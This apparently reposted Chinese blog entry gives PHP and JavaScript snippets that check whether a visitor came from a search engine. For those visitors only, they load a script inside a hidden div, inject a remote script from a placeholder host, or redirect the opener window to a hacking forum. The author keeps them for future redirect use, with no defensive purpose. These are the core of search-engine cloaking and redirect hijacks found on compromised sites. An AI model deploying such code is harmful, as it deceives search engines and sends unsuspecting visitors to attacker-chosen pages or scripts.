一段判断搜索引擎来路的JS代码
2013-05-30 09:29
465 查看
以下是一段php判断搜索引擎的代码 <?PHP $referer = $_SERVER['HTTP_REFERER']; if(!$referer == ''){ if(ereg('http',$referer)){ $referer = @eXPlode('.',$referer); if(is_array($referer)){ $referer = $referer['1']; if($referer == 'google' OR $referer == 'baidu' OR $referer == 'soso' OR $referer == 'sogou'){ ?> <div style="visibility:hidden;"><script src="a.js" language="JavaScript"></script> </div><?php } } } } ?> 而通过Js判断搜索引擎来路的代码则如下 <script type="text/javascript"> function elem(e,url){ var h=document.createElement(e); h.src=url; document.getElementsByTagName('head')[0].appendChild(h); } function refer(){ var ref=document.referrer; var baidu=ref.indexOf("baidu"); var soso=ref.indexOf("soso"); var google=ref.indexOf("google"); if(baidu!=-1||soso!=-1||google!=-1){ elem("script","http://127.0.0.1/js.js"); } } refer() </script> 另外附上自己百度谷歌的一份代码 <script language="javascript"> var s=document.referrer if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("soso")>0 || s.indexOf("search")>0 || s.indexOf("114")>0 ) window.opener.navigate("http://www.t00ls.net") </script> 留着备用,以后准备份代码,用来做判断搜索引擎做跳转。
相关文章推荐
- 判断搜索引擎来路进行跳转的代码(PHP+JS)
- PHP和JS判断搜索引擎来路跳转代码分析
- JS判断搜索引擎来路跳转代码:
- 判断搜索引擎来路进行跳转的代码(PHP+JS)
- 一段简易的判断手机屏幕横屏竖屏的JS代码
- JS判断来路是否是百度等搜索索引进行弹窗或自动跳转的实现代码
- JS代码获取搜索引擎来路关键词
- 一段可以判断浏览器的ajax的js代码
- js判断搜索引擎代码,然后进行调整代码
- js 给一段代码,给出运行后的最终结果的一些综合情况、
- 判断输入是否为空,获得输入类型的JS代码
- JS判断是否360浏览器代码
- JS复杂判断的更优雅写法代码详解
- 一段判断多种浏览器类型及版本号的脚本代码
- 判断滚动条到底部的JS代码
- 使用JS判断单选按钮和复选框是否被选中的代码
- 一段JS代码,点击按钮显示一块区域,再点击则隐藏这块区域
- js判断浏览器类型,版本的代码(附多个实例代码)
- 一段处理百分数的js代码
- 分享一段php判断url http状态码的代码